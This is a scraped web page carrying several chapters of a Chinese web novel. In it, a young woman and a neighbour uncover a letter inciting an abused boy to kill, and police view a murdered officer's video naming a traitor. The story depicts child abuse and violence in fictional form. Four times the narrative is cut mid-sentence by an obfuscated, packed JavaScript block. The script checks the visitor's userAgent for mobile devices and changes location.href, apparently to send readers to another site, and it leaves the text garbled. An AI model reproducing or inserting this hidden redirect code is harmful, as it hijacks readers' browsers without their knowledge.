【小温】:你什么意思?嗯?什么意思?(攥拳.JPG) 【大温】:让我想想……对了!就说是社会实践课的实践作业吧! 【小温】:说得好,但我都毕业了谁给我发的作业? 【大温】:…… 【大温】:我忘了,诶嘿。 小温懒得吐槽了,她斜斜躺在沙发上,一只腿搭在沙发靠背上。 对面的大温默了默,玩归玩,闹归闹,该思考的还是要思考。 【大温】:我知道了!找曲哥!大学生经常有各种课外实践活动,还有志愿时数……虽然不知道家教能不能算志愿活动,总之找他帮忙就对了! …… “我是计算机专业的,不是师范。”曲宏愿提醒道。 曲宏愿抱臂站在自家门口的玄关处,脖子上挂着耳机,神情淡漠。 “帮帮忙!拜托了!”小温双手合十。 曲宏愿性格淡漠,但其实很好说话,小温跟他相处这么多年了,早就摸清了和他说话的窍门,知道他听不得别人求他帮忙。 “……好吧。”果不其然,曲宏愿默了默,还是答应了。 “好耶!”小温举起双手,伸到曲宏愿面前,曲宏愿不情不愿地和她击掌。 一番准备后,二人重新敲响了李萍的家门,他们在门口干站了两分钟,门内一点动静也没有。 “咚咚咚——”小温又一次敲响了李萍的家门。 黑色的防盗门唰一下开了,露出门后李萍不耐烦的脸。她一见又是小温,二话不说就要把门关上。 “哎哎哎——”小温急忙伸手阻止,她手抓在防盗门门沿,李萍用力拽了拽,防盗门纹丝不动。 李萍抬眼瞪小温,想让她放手,曲宏愿适时开口。 “李阿姨,我们学校老师布置了一个课外实践作业,需要我们分组完成一个课题,我们小组抽到的课题是‘人工智能与教育’。” 曲宏愿平静说出提前准备好的说辞,李萍闻言,终于不和小温较劲了,松开了关门的手。 “我们想要设计一款服务于中小学生教学的AI程序,为了完成这个课题,我想当一段时间李常的家教,总结小学生的学习模式。” “先前是我拜托温流照帮忙的,很抱歉让你误解了,我们没有恶意。” 曲宏愿条理清晰,把事情的缘由全盘托出。小温难得听他说这么多话,有些新奇,还有些意外,他居然还帮她解释了。 李萍看着曲宏愿,她不懂人工智能那样高科技的东西,没太听懂曲宏愿的意思。 她在脑内理了理,曲宏愿的话逻辑通顺,有条有理,好像……没什么问题。 李萍沉默了会,松开门把手,侧身让开一条路,示意曲宏愿进来。 “不要乱动我家里的东西。”李萍淡淡说道。 曲宏愿跟在李萍身后进屋,小温也悄悄跟着。 李萍蹙眉看她,小温脑子里飞快闪过几个借口,比如“我来帮曲哥的忙”“不用在意我只是对人工智能很感兴趣”“其实我也想体验一下当家教的感觉”之类的,结果李萍只是看了眼她,没有阻止。 小温一愣,目光跟着李萍走进客厅。 李萍和小温不熟,她和小区里的所有人都不熟。小温没和她说过几句话,只是在帮左邻右舍的忙时,听过旁人提起李萍。 听说李萍原本性格没有现在这么冷漠狠毒,她是外省嫁来的,在丰林市没有亲人。 她和丈夫新婚的那几年里还很恩爱,丈夫许诺给她一个好生活,还依着她,让孩子随她姓。 女儿出生后,确实随李萍姓了,只是生活远称不上好。经济上仅能温饱,精神上……丈夫在大女儿出生后便本性暴露,常常夜不归宿。 李萍因此性情大变,一改从前慈眉善目的模样,成了个十足的悍妇,每次丈夫不回家都要和他吵架,骂他,让他死在外边别回来了。 丈夫嫌她烦,提出离婚,李萍不接受,怎么能让他舒舒服服离了婚另寻新欢? 她要像毒蛇一样缠着他,折磨他,是他夺走了她的青春,是他辜负了当年的承诺。 小温一直想不通,李萍到底是不愿放过她丈夫,还是不愿放过自己。 他们互相折磨了十几年,期间甚至又生了个儿子,小温无法理解,为什么会有父母在互相仇恨的情况下生下孩子。 曲宏愿把随身携带的电脑包放在桌上,小温看到了那个在恨中长大的孩子。 李常静静跪在客厅里,听到他们走进客厅的声音后,偶人一样僵硬地转动脖子,看着小温和曲宏愿。 李常的眼睛里什么也没有,没有恨更没有爱,空洞洞的,好像一个没有灵魂的空壳。 “你可以起来了。”李萍站在儿子跟前,居高临下地看着他。 她好像在看地上的毛毛虫,而不是自己的孩子。 李常伸手往地板上一撑,想借力起身,他不知道跪了多久,第一下居然没能顺利起身。 小温伸手把李常扶起来,她完全是下意识反应,扶完才想到自己不该扶,她有些懊恼,这可是个坏小孩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364374|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过,现在她也没能确定李常到底是不是凶手。她既希望是,又希望不是。 李常低垂着头,抿唇不语。李萍没有管他们,径直回了自己房间。曲宏愿打开电脑,电脑屏幕中央的圈圈转了转,开机了。 李常漠然坐在沙发上,曲宏愿重新和他解释他们的来由。 “有些事需要你配合一下。”曲宏愿打开电脑桌面上的一个文件,和李常解释他要做什么。 小温没事做,在一边打量着李萍家的装潢。 李萍家的装修风格很简约,夫妻二人的生活都比较简单。房子是新婚时装修的,如今他们已经在这生活二十年了。 和花奶奶家截然相反,小温能很明显感觉到这个家里没有爱。 黄阿姨是个勤劳的妇女,喜欢给家人买东西,收拾屋子,因此客厅干净整洁,很有人味儿,而李萍家则相反。 李萍家的客厅也满,堆了很多的杂物,桌面上的杂物乱七八糟放着,很多家具因为使用时间过久,加上没有好好保养,已经很破旧了。 茶几上放着一个泡面桶,飘着红油的汤还没有倒,阳台的洗衣篮里随意扔着几件衣服,扔不太准,脏衣服就这样挂在篮边,一条裤子的裤脚拖地了。 客厅的墙壁上没有孩子的奖状,取而代之的是一些锐器砸出的坑洞,似乎发生过很多次激烈的争执。 靠近阳台的地方散落着白色的陶瓷碎片,似乎有人把一个陶瓷杯摔在地上,碎瓷片像甩钢笔时甩出的墨点儿一样,大大小小散落在地板上。 厨房的抽油烟机上挂着将落未落的油滴,锅里躺着一只四仰八叉的苍蝇尸体,看起来有段时间没有使用了。餐桌落了一层薄灰,很久没有人坐在餐桌上吃饭了。 这是一个被恨拉扯着的家。 小温感觉有些压抑,这里让人很不舒服。 小温不由得看向客厅里的李常,而李常恰好也在看她,那双本空无一物的眼睛里带着些许恨意。 他好像……很恨她? “我需要你做一份测试题,集中注意力。”曲宏愿出声提醒,李常这才收回目光。 小温喜欢有事直说,有问题直接问,她走到李常面前,隔着玻璃茶几问他:“你恨我?” 李常没有回答,他恶狠狠瞪着小温,这个眼神已经算是答案了。 “为什么?”小温又接着问,她想不出李常憎恨她的理由。 从小到大,小温的人缘都很好,不管是在男生堆里还是女生堆里,都能混得风生水起。 “哈……哈哈……哈哈哈哈——” 李常笑了,他越笑越大声,笑到最后几乎是在尖叫,诡异的叫声惊动了李萍,她烦躁地拉开房门。 拖鞋鞋跟在地板上踢踏作响,李萍冷着脸走来,抬手在李常脸上狠狠一扇。 “啪!” 一声脆响终止了李常的喊叫,他被扇得头歪到另一边。 “我说过什么?”李萍的手仍然维持着扇巴掌的姿势,冷冰冰地问李常。 “我知道了。”李常轻声说道。 李萍好像并不在意被小温他们看见自己打孩子,得到李常的回答后,她重新回到房间,重重关上房门。 这个家的情况,似乎比小温先前预想的还要糟糕。 30. 教唆信 在小温提出请求后,曲宏愿思考片刻,翻出从前做的一个教学程序。 小温看着曲宏愿打开教学程序,检查程序运行状况,她惊讶:“你怎么还有这个东西?” 曲宏愿:“以前帮师范的朋友做的。” 小温闭目,双手合十:“感谢那位不知名的师范朋友。” 曲宏愿:“……” 托那位不知名的师范朋友的福,曲宏愿有了个合理的借口登门拜访。 计划在按照事先预想的稳步进行,小温本应高兴,却怎么也高兴不起来。 她抬头看天花板,明明是一样的房屋面积,她却觉得这里好小,像花鸟市场里关鸟的笼子。 李常做题期间,李萍偶尔会从房间里出来,她头发睡得乱糟糟的,踢踏着拖鞋到客厅打水喝。 小温东看看,西看看,因为怕被李萍斥责,所以一直竖着耳朵听里屋的动静,一听见有人开门,就收回到处乱看的目光,装作什么事也没发生。 其实小温也不知道该找些什么,她一点头绪也没有。她先是在客厅里看了一圈,再往卧室那边走,路过主卧时,还能听见李萍在卧室里看肥皂剧的声音。 她悄悄打开其中一间次卧的门,房间收拾得很整齐,与乱糟糟的客厅截然相反。床上用品都是粉色系的,很显然是个女生的卧室。 这是李萍大女儿的卧室,这里应该没什么线索,小温把门关上。 她打开另一间次卧的门,这间房间比较小,东西很少,有点空,看屋内的陈设,很显然是个小男孩的房间。 小温偷偷摸摸溜进李常的房间,她像个新手贼一样,心里紧张得不行,时刻警惕着外面的动静,同时在思考被抓到了该怎么解释。 呃……好像怎么解释都不太行,还是尽量不要被发现吧。 小温轻手轻脚关上房门,转头打量着这间屋子。 很普通的房间,没有衣柜,床上扔了几件衣服,靠墙放着一张桌子,桌子上堆了一摞课本,还有一本摊开的暑假作业。 小温拿起那本暑假作业,李常的字很稚嫩,歪七扭八的,会写的题就写,不会写的题就留空。他不会的题太多了,以至于一页下来没写几题。 她往前翻了翻,前面的十几页都是如此,一本暑假作业都没写几题。 小温翻着翻着,书页间突然掉出一张纸,左右摇晃着掉在地板上。 小温弯腰捡起,那是一张对半折的A4纸,展开来看,纸上密密麻麻写……不对,印了很多字。这些字不是手写的,而是打印的。 这封信看起来像是朋友之间的信件,小温做了一番心理建设才开始阅读。信的前半段是关心李常的近况,询问他在家有没有被父母打,在学校有没有受同学欺负。 很正常的内容,小温接着往下看,信的后半段是一些鼓励的话,什么“我关心你”“你可以依靠我”“不是你的错”之类的话。 没想到李常这样怪模怪样的孩子也能交到这么善解人意的朋友,小温有些惊讶。 她刚感慨完,就看见了信的最后一行。 “都是她的错,杀了她吧。” 小温轻声念出那句话。 她,是谁? 小温心跳飞快,落款处印了日期,六月一日,儿童节那天。没有印名字,只印了一个“你永远的朋友”。 这个“她”到底是指谁?花奶奶吗? 写信的人是谁?ta想做什么?ta在教唆李常杀人?ta为什么这么做?ta有什么目的? 小温仔细回想着花奶奶和李常一家的交集,两家人仅是点头之交,连老温这样的社牛都和李常一家聊不来,更别说花奶奶一家了。 两家人基本上就是各过各的,关起门来就是两个世界的人,花奶奶能有什么地方和李常结仇? 奇怪,太奇怪了,之前袭击老温的大卫也是,分明无冤无仇,为什么突然要杀老温? 分明无冤无仇,为什么他们会冒着入狱的风险杀人?这太奇怪了吧? 小温深呼吸平复心情,她用手机把信拍下,夹回暑假作业里,随后继续翻找线索。 她想看到更多的信件,从刚刚的那封信来看,这不是第一封信,一定还有其他的信。 信息太少了,她要找到其他更有价值的线索。 小温寻找所有可能存放信件的地方,全都没有找到,她拿起一旁堆叠的课本,从最上面的语文课本开始翻,想从书页间找到更多的信。 课本被翻得哗啦啦响,小温没有找到她想找到的信。她正欲接着翻下一本课本,房门被人猛地打开。 李萍站在房门口,她保持着握着门把手的姿势,冷冷看着小温。 她的眼中带着怒意,问:“你,在做什么?” 糟糕! 小温脑子一片空白,只知道赶紧把课本放回去,却不知该如何解释。 完了完了完了完了,偷翻别人东西这事要是被秦女士知道了,可要训斥她了。 小温僵在原地,看着李萍向她走来,一切发生在几秒之间,李萍扬起手,巴掌就要落在小温脸上了。小温完全有机会制止李萍,但她没有,她只是认命地闭上眼。 好吧,要是挨一巴掌能被原谅,这倒也没什么。 “李阿姨。” 预想中的巴掌没有落下,有人出声制止了李萍。 小温睁眼,看见李萍悬在半空中的手,以及她身后的曲宏愿。 曲宏愿语气平静:“是我拜托温流照找东西的。” “找什么?”李萍的声音带着怒意,手没有收回,看来要是他们无法给出合理的解释,这个巴掌就会落下。 曲宏愿没有回答,而是看着小温。小温脑子转了转,明白了曲宏愿的意思,她从暑假作业里拿出那封信。 “我们怀疑李常被人教唆了,所以特意来找线索。”小温说着,把那封信展开,指着信末的那句话。 “都是她的错,杀了她吧?”李萍念出那句话,她的手已经放下,表情由愤怒转变成疑惑,随后是更猛烈的怒火。 如果可以的话,小温也不想现在就公布这个发现。她不想打草惊蛇,本来还想顺着这封信摸出幕后之人,比如寄信的渠道,寄信者有没有和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364375|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李常接触之类的。 可惜被李萍发现了,只能提前把这个发现说出来。 “李常!过来!” 李萍大喊一声,正想冲出去找李常问个清楚,转身就见李常不知道何时来到了房门口,他的目光静静落在李萍手中的信上。 李萍手上还拿着信,她蹲下身,像一个普通而温柔的母亲一般,双手捧起李常的脸。 明明是平视,小温却觉得李萍依然在俯视自己的孩子,她难得温柔地声音问李常:“‘她’是谁?你想杀谁?杀我吗?嗯?” 信纸糊在李常脸上,母亲温柔的声音像是纤细而凶猛的毒蛇,牢牢缠住李常,他嘴角抽了抽,竟然,笑了。 “妈妈,你为什么要生下我呢?” 李常咧开嘴角,似嘲讽又似捉弄,他的父母在折磨他,而他也会折磨他的父母,谁的日子都不好过。 李萍微微一愣,她有一瞬间的恍惚,好像真的被这个问题难住了。 为什么?她不知道,她没想过。 怔愣过后是更加汹涌的怒意,他为什么要问这个问题?他在怪她?他凭什么怪她?他居然敢怪她? 小温眼见着李萍又要殴打孩子了,连忙把她拉开。暴力无法解决问题,也无法获得小温想要的情报。 “李阿姨!你先不要动手,让我们来问他,好吗?”小温努力劝说道。 李萍想挣脱,但拗不过小温,只好作罢,她仍是不解气,李常是她的孩子,孩子怎么可以想着杀掉她?怎么可以! “李阿姨,我们可以联系专门的人调查这件事,现在需要查明写教唆信的人,并把李常带到专门的机构进行心理疏导。” “对对对!我认识两个警局的姐姐,我可以问问她们!” “警局?”李萍眼珠子转了转,很不客气地赶人,“不行,不能报警,你们不要管了,这是我的家事。” 李萍似乎认为教唆信里的“她”就是指她,小温张嘴想说“不是”,她知道那个“她”不是指李萍,很大概率是指花奶奶,但她说不出口,她没有证据。 说出真相很简单,合理地证明这个真相很难,特别是对于小温这样,依靠重生“作弊”得到答案的人来说。 小温最终没有出声,她有点沮丧,这种明明知道真相,但是没法说出口的感觉很难受。 “你们别在我家赖着了!我算是知道了,家教就是个借口!两个小孩也想管我的家事?没门!” 李萍将二人赶出门,推搡间曲宏愿抓住小温的手腕,把她拉到李萍看不见的地方轻声耳语。 “报警。”曲宏愿言简意赅,小温点头,悄悄摸出手机拨通报警电话。 小温把接通的电话调成静音,曲宏愿转身往回走,李萍还在训斥李常,但是没动手。 李萍余光瞟见折返的曲宏愿和小温,没好气道:“我不是请你们滚了吗?” “李阿姨,这件事很严重,不管李常有没有想要杀的人,想杀的人是谁,都必须报警。教唆儿童犯罪是重罪,而你们家已经被妇联重点观察了,你如果想替教唆犯隐瞒,可能会数罪并罚。” 31. 遗言 “我有罪?”李萍的音量拔高,尖声质问,“我有什么罪?我生他养他已经不错了!他为什么就是要招惹我?” 李萍几乎是歇斯底里的,边喃喃重复“为什么”,边抓着自己的头发。而李常沉默地站在一旁,看着母亲的丑态咯咯直笑,笑得李萍汗毛倒立。 “你又在笑什么?”李萍双手掐住李常的脖子,把人往上提,“你笑什么?我很好笑吗?” 李萍的精神本就岌岌可危,那封教唆信成了压死骆驼的最后一根稻草,她疯得更彻底了。 李常被掐得双脚离地,脸越来越紫,眼看着就要窒息而亡了,曲宏愿出手制止李萍,小温连忙亮出自己的手机,屏幕上赫然是“110”。 “你好,幸福小区二栋302室有位九岁小孩正在遭受家庭暴力,今日发现有人教唆孩子犯罪,母亲拒绝报警。李萍,不要一错再错了!你说的话警察全都听到了!” 小温语速飞快,对着电话另一头的警察说出先前整理好的话。 曲宏愿把李萍掐着李常的手掰开,李常跌坐在地上不住咳嗽,李萍一边尖叫,一边挥舞着长着长指甲的双手。曲宏愿手臂上被挠了几道红痕,他不得已只好擒住她的手。 小温按下免提,电话另一头,警局的接线员小姐很快回复:“收到,我们已经派人过去了,请稍等几分钟。” “你们凭什么管我!我到底有什么罪!”李萍依然在怒吼,吼完后又颓然坐在地上,“为什么全都针对我,我到底做错了什么?” 小温回答不了李萍的问题。 她曾经问过大温,李萍一家后来几年怎么样了? 大温沉默了很长一段时间才开口,她说她高一的时候,李萍在全家人都睡着时打开了煤气罐,三个人都没有看见第二天的太阳,他们结束了漫长的互相折磨。 在外省上大学的大女儿一夜之间成了孤儿,她回家处理后事时,大温曾见过她。 女生的表情即悲痛又释然,她终于可以彻底告别这个家了,虽然是以如此惨烈的方式。 …… 警方的人很快来了,教唆信也交给警察调查了,小温一面觉得遗憾,没法亲自调查了,一面觉得庆幸,警察一定可以查得比自己快比自己好吧。 李萍和李常被分别带去了相应的心理治疗中心,接警的年轻女警摇头叹息:“这是第二次了吧。” 李萍家并不是第一次被举报虐待儿童,只是李萍和她丈夫的虐待更趋于冷暴力,很少造成外伤。 老温曾联系过妇联,让他们密切关注李萍家的情况,李萍一家的情况不太好,但没有达到剥夺监护人监护权的程度,妇联只是安排了各类心理疏导。 女警二十多岁,真是容易心软的年纪,她简单了解情况后,对李萍一家感到惋惜。 李萍和李常在警方的带领下离开了,小温犹豫了好一会,还是大着胆子问女警:“姐姐,如果查到写教唆信的人,可以告诉我吗?” “你怎么想知道这个?”女警惊讶。 “我想知道坏人是谁。” 女警思考片刻道:“只可以透露一点,更多的就不可以说了哦。” “嗯!谢谢姐姐!”小温甜甜一笑。 …… 乐宁县公安局—— “还~没~好~吗~”鱼小丹瘫在椅子上,两只手往后展,挂在椅背上,一只脚的脚踝搭在另一只脚的大腿上,跷了个平板二郎腿。 拿到内存卡后,鱼小丹和金凤零火急火燎地赶到乐宁县公安局,想办法阅读内存卡里的内容。 好不容易找到了一个还能用的老式旧手机,把卡插进去,导出里面的文件,结果发现文件是加密的。 破译密码的技术小哥原本在休假,被紧急叫回来上班,费了好大功夫才破解文件密码。 “马上马上!”戴眼镜的技术小哥打开电脑桌上的文件,等待片刻,弹出一个视频,“呜呼——总算打开了!” “干得不错,回头给你加工资。”金凤零拍拍小哥的背,凑过去看电脑屏幕。 “让我看看让我看看!”鱼小丹也把翘着的腿放下,弯腰一手拽着椅子边,把椅子拖到电脑前。 两人都对内存卡里的东西很感兴趣,这很有可能是关键情报,能不能早日破案或许就要看这个文件了。 丁文文到底给她们留下了什么东西? 鼠标移动到视频文件上,技术员小哥双击鼠标,不多时,一个视频弹窗跳了出来,丁文文的脸出现在视频正中央。 从视频背景来看,拍摄地点在丁文文家的客厅,丁文文恰好穿着遇害那天穿的衣服。 “如果你能看到这个视频,说明我已经死了。”视频里丁文文面容严肃,第一句话就让鱼小丹皱起眉头。 “我布下了一个陷阱,而现在是个收网的好时机。很遗憾,我在乐宁县公安局里最亲近的两个人都是叛徒。” 两个?金凤零蹙眉。 “其一,方承平,现在已经落网了。其二,许依然,她是个很小心的人,即便是朝夕相处,我也没能找到证明她是叛徒的证据,在此之前我对她的怀疑仅仅出于我的直觉。” 丁文文说着,低下了头,表情有些落寞。 “许依然?!”鱼小丹忍不住惊呼出声,“我完全看不出来,啧,真不爽。” 金凤零和鱼小丹对视一眼,鱼小丹离开办公室,准备逮捕许依然。 “如果可以的话,我也希望许依然不是叛徒,但现在你看到了这个视频,就说明许依然杀掉了我。” 视频里,丁文文还在继续说,金凤零也接着听。 “第一次发觉不对,是在我第一天上班的时候,我在档案室里翻阅卷宗,发现了一些合理但又不合理的地方,而出现不合理之处的案件,又都出自方承平之手。” “在乐宁县公安局上班的一个月后,我基本确定了方承平有问题,后来我顺藤摸瓜,又发现了许依然的不对劲。” “我不知道正在观看这个视频的你,知不知道一个潜藏在暗处的神秘组织。如果不知道的话,我说一个最著名的惊天悬案吧——‘悼亡诗案’,这个案子就出自于这个组织中,某一位核心成员之手。” “如果我没有猜错,方承平和许依然都隶属于那个神秘组织。暂且不知这个组织是如何招纳人才的,方承平又是在何时加入组织的,我唯一可以确定的,是许依然在组织中的地位比方承平高,方承平只是一枚弃子。” “许依然这个名字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364376|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个身份,可能是伪造的,也可能是真实的,我更偏向于伪造的。她大概率不是组织的内部人员,但算是比较接近的外部人员。” “我也只是一个县级公安局的小刑警,所能接触到的信息有限。我花了差不多半年的时间,搜集能够证明方承平和许依然属于那个神秘组织的证据。” “其中与方承平相关的证据我整理了一份资料,放在我的电脑里。在正式举报方承平的那一天,我给许依然传递了一张纸条。” “纸条上有两个信息,其一是‘师父叛变’,其二是我电脑加密文件的密码。那个文件里就是我整理出的证据,只不过我刻意只放了方承平相关的。” “我让许依然递交那份证据,很巧的是,在她递交证据后,整理证据的我本人因为各种巧合,没有亲眼见过那份交上去的证据。” “我希望看到这个视频的你,好好核对最终递交上去的那份证据,是否有缺漏和修改,我保存了一份完整的证据,存放在一个安全的地方。” “在我工位的抽屉里有一个棉花娃娃,娃娃的棉花里有一张小纸条,纸条上是存放资料的地址,除了方承平的资料外,还有一些许依然的资料。” “我想过明哲保身,推演了很多种可能,最终得出了结果。敌人过于强大,一旦告发叛徒,我就一定会死。” “原本,我拿着整理好的资料,犹豫着到底要不要告发。我犹豫了很久,直到遇见那个科考队里的女学生,看到了她身上独属于少年人的勇气,我才终于下定决心。” 女学生是指温流照吧,金凤零脑中浮现了那种青春洋溢的脸,女孩笑起来很甜。 “很抱歉,看到这个视频的你,即便不愿意,也被拉到了那个神秘组织的对立面,你可能会遇到和我一样的危险。” 丁文文说罢,低垂着头,沉默了很久,似乎在组织语言。 “接下来是我的……遗言……” “我想拜托你,问问我在乡下的父母,”丁文文抬起头,他的深黑色的眼睛注视着摄像头,语气轻到近乎是小心翼翼的,“我,成为一个勇敢的人了吗?” …… 鱼小丹离开办公室,却没找到许依然的身影。 “依然姐?她刚刚请假了诶。”一位寸头的小刑警抱着文件夹说道,“就你们来后没多久。” “啧,真机灵啊,跑那么快。”鱼小丹气得磨牙。 最初查办方承平案子时,许依然给她们送咖啡,一起吃饭谈笑,和一个普通同事毫无区别。如今鱼小丹知道了真相,再想起时不由得打了个寒战。 心眼多会伪装的人真讨厌,还是温流照那样直来直去的小妹妹好玩。 “咋啦?找依然姐做啥呢?”小刑警拿胳膊肘捅鱼小丹,一副听八卦的样子。 鱼小丹虽然在乐宁县公安局里没待几天,但人性格活泼好说话,早就跟这边的同事混熟了。 “别‘依然姐’了,该改叫犯罪嫌疑人了。” “啊?”小刑警眼睛嘴巴张了一个圆,手中的文件夹“啪嗒”一下掉在地上。 文件夹里白花花的资料撒了一地,鱼小丹对还处于震惊中的小刑警吩咐道:“上报纪检组,许依然疑似与大型犯罪组织有勾结。” 32. 撒谎 “啊~~~~” 客厅里,小温坐在沙发上,旁边是黑色的落地扇,风扇开到最大档,小温的脸怼在风扇跟前,边吹边张着嘴“啊——”。 强风把她的碎发吹得乱飞,把她的声音吹碎。黄阿姨在厨房切西瓜,曲宏愿从碗柜里拿出果盘,把切好的西瓜码放整齐,端到茶几上。 小温一点没见外,拿了一片西瓜就啃。 “吃西瓜咯!”黄阿姨扬扬头,对着阳台的两个人说。 今天天气很好,太阳不是特别大,花奶奶和曲叔叔一人拿了一张小板凳,面对面坐着。 二人中间是一个方形的小矮桌,矮桌上是一盘围棋,花奶奶鼻梁上架着老花镜,曲叔叔也戴着黑框眼镜,母子二人正襟危坐,一派严肃。 曲叔叔:“等等,马上就结束了。” 花奶奶微微挑眉,落下一子:“呵呵呵,我看还早呢。” 从认识花奶奶时起,小温就知道花奶奶下围棋很厉害。 花奶奶那个年代没什么娱乐,幼时她父亲带回来一个别人不要的旧围棋,几个孩子把那旧围棋当宝物,经常围在一起玩。 他们约定好了,下输的人要替赢家割稻子,最后那个秋天里,花奶奶成了最清闲的人,她的兄弟姐妹们全都叫苦不迭。 “二姐,你太赖皮了!”幺弟粘了一身稻草,跑来和花奶奶抱怨。 “我怎么赖皮了,分明是你们没下赢我。”少女时期的花奶奶梳着两条麻花辫,坐在稻草堆上笑。 “行了行了,愿赌服输,幺儿,你去拾掇拾掇那些稻草,大姐已经在做饭了。” “二妹厉害,没准往后能靠这个吃饭呢?”大哥冲花奶奶眨眨眼。 后来花奶奶没靠这个吃上饭,在那个温饱都成问题的年代,娱乐是少数富人才配享受的。 围棋最后成了花奶奶的一个小爱好,而曲叔叔也继承了花奶奶的这个小爱好。 花奶奶是在小温六七岁大的时候搬来的,那时她就见过曲叔叔陪花奶奶下棋。 老温除了五子棋外什么棋也不会下,倒也不是说完全不会,而是下得不好。 而小温也继承了老温的这个缺点,甚至可以说是青出于蓝而胜于蓝——她完全不会下,一想到那些复杂的规则就脑仁疼。 刚开始小温还尝试过跟花奶奶学习学习,结果下着下着把自己下睡着了,之后就打消了这个念头。 果然,人不能强迫自己做不擅长的事,小温忧伤地啃了口西瓜。 曲叔叔盯着棋盘看了好一会,轻声叹气:“好吧,看来暂时没法结束了。” “好啦好啦,吃完西瓜再下吧,再不过来,待会小照吃光了。”黄阿姨调侃道。 小温原本啃西瓜啃得正欢,陡然听见自己的名字,从被啃得只剩个底的西瓜上抬起头。 “我是吃得多,但是也不会那么多啊!”小温说着,两只手在果盘上空比划,“这么大一盘呢!” 黄阿姨就是逗逗小温,见了小温的反应,笑得前仰后合,其他人也笑,花奶奶缓缓起身,佝偻着腰朝小温走来。 “哎,小照想吃凉粉吗?要不要弄一点给你吃?”花奶奶边走边问。 “不用不用!”小温头摇得像拨浪鼓,“想吃的话我会叫曲哥陪我做的!” 曲宏愿皱眉:“为什么是我?” 小温:“因为你闲。” 曲宏愿:“……” “说起来,李萍家那事是怎么回事,你们还没跟我解释呢。”黄阿姨坐在沙发上,手里的西瓜被啃了两口。 曲叔叔和花奶奶也围在茶几前坐下,他们都听说了李萍李常的事,就是不知道具体经过。 “这事让温流照解释更好。”曲宏愿看向满嘴西瓜汁的小温。 “啊?我?”小温一手端着啃得不留红的西瓜皮,另一只手指指自己。 “毕竟一直都是你在主导。”曲宏愿淡淡说。 意思就是他只是帮忙的小弟,小温才是领头的老大。 “好吧。”小温手一抬,西瓜皮在空中划出一条很短的抛物线,“哐当”一声稳稳落进垃圾桶里。 小温抽了张纸,擦掉手上的西瓜汁,所有人都在等待她的讲述,花奶奶小口小口吃着西瓜,像平时听小温讲故事一样,耐心等着。 “最开始察觉异样是在上个月,我和花奶奶种完花回家。那时我看到李常家门开了一条缝,李常躲在门缝后看着我。” “本来这不算什么,大家都知道李常是个怪小孩。”小温顿了顿,深吸口气,“直到我偶然间听见李常在计划着什么,我隐约觉得不对劲,但又觉得是自己多虑了,思来想去犹豫了很久,最终还是抱着‘不怕一万就怕万一’的心态,告诉了秦女士。” 这话当然是假话,是大温编的谎话。在大温和秦女士打电话,让秦女士帮忙安装监控后,大温就考虑过如何向其他人解释这件事。 如果只有大温自己,她甚至可以在被人问到时现场编一个理由,但是一天里还有一半时间是小温的。 小温不像大温这么老油条,她不习惯说谎,一说谎就要脸红。为了把这事糊弄过去,大温花了不少时间训练小温。 如何云淡风轻地扯谎?被质问不合理之处时如何应对?如何控制自己的表情和肢体语言? 大温把自己总结出来的经验分享给小温,网络上当然有很多这方面的经验总结,只是那些都没有大温直接教实在。 从别人那拿来的,总归要经过消化才是自己的,而大温拿出来的,从某种角度来说,就是小温自己的。打个不太恰当的比方,这就类似于牛反刍,把原本就在胃中的东西再拿出来咀嚼。 多亏了大温的培训,小温此刻能够不动声色地说谎。她悄悄观察着众人的脸色,似乎没人发现她在说谎,她稍稍松了口气,继续叙述。 “秦女士很快装好了监控,也告知了曲哥这件事,而直到今天我都没有再发现李常的异样。” “我心里实在很在意这件事,就找曲哥帮忙,想找找线索。不管是证明李常有害人之心的证据,还是澄清的证据,我想得到一个能让我安心的答案。” 小温说着,低下了头,心里一半是对乱翻别人东西这件事的愧疚,另一半是对亲近之人撒谎的愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364377|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也知道,这样做不太好,我就是……实在没有更好的办法了。”小温越说越小声,她垂头沉默几秒后,又抬起头,脸上带着一个有些勉强的笑容。 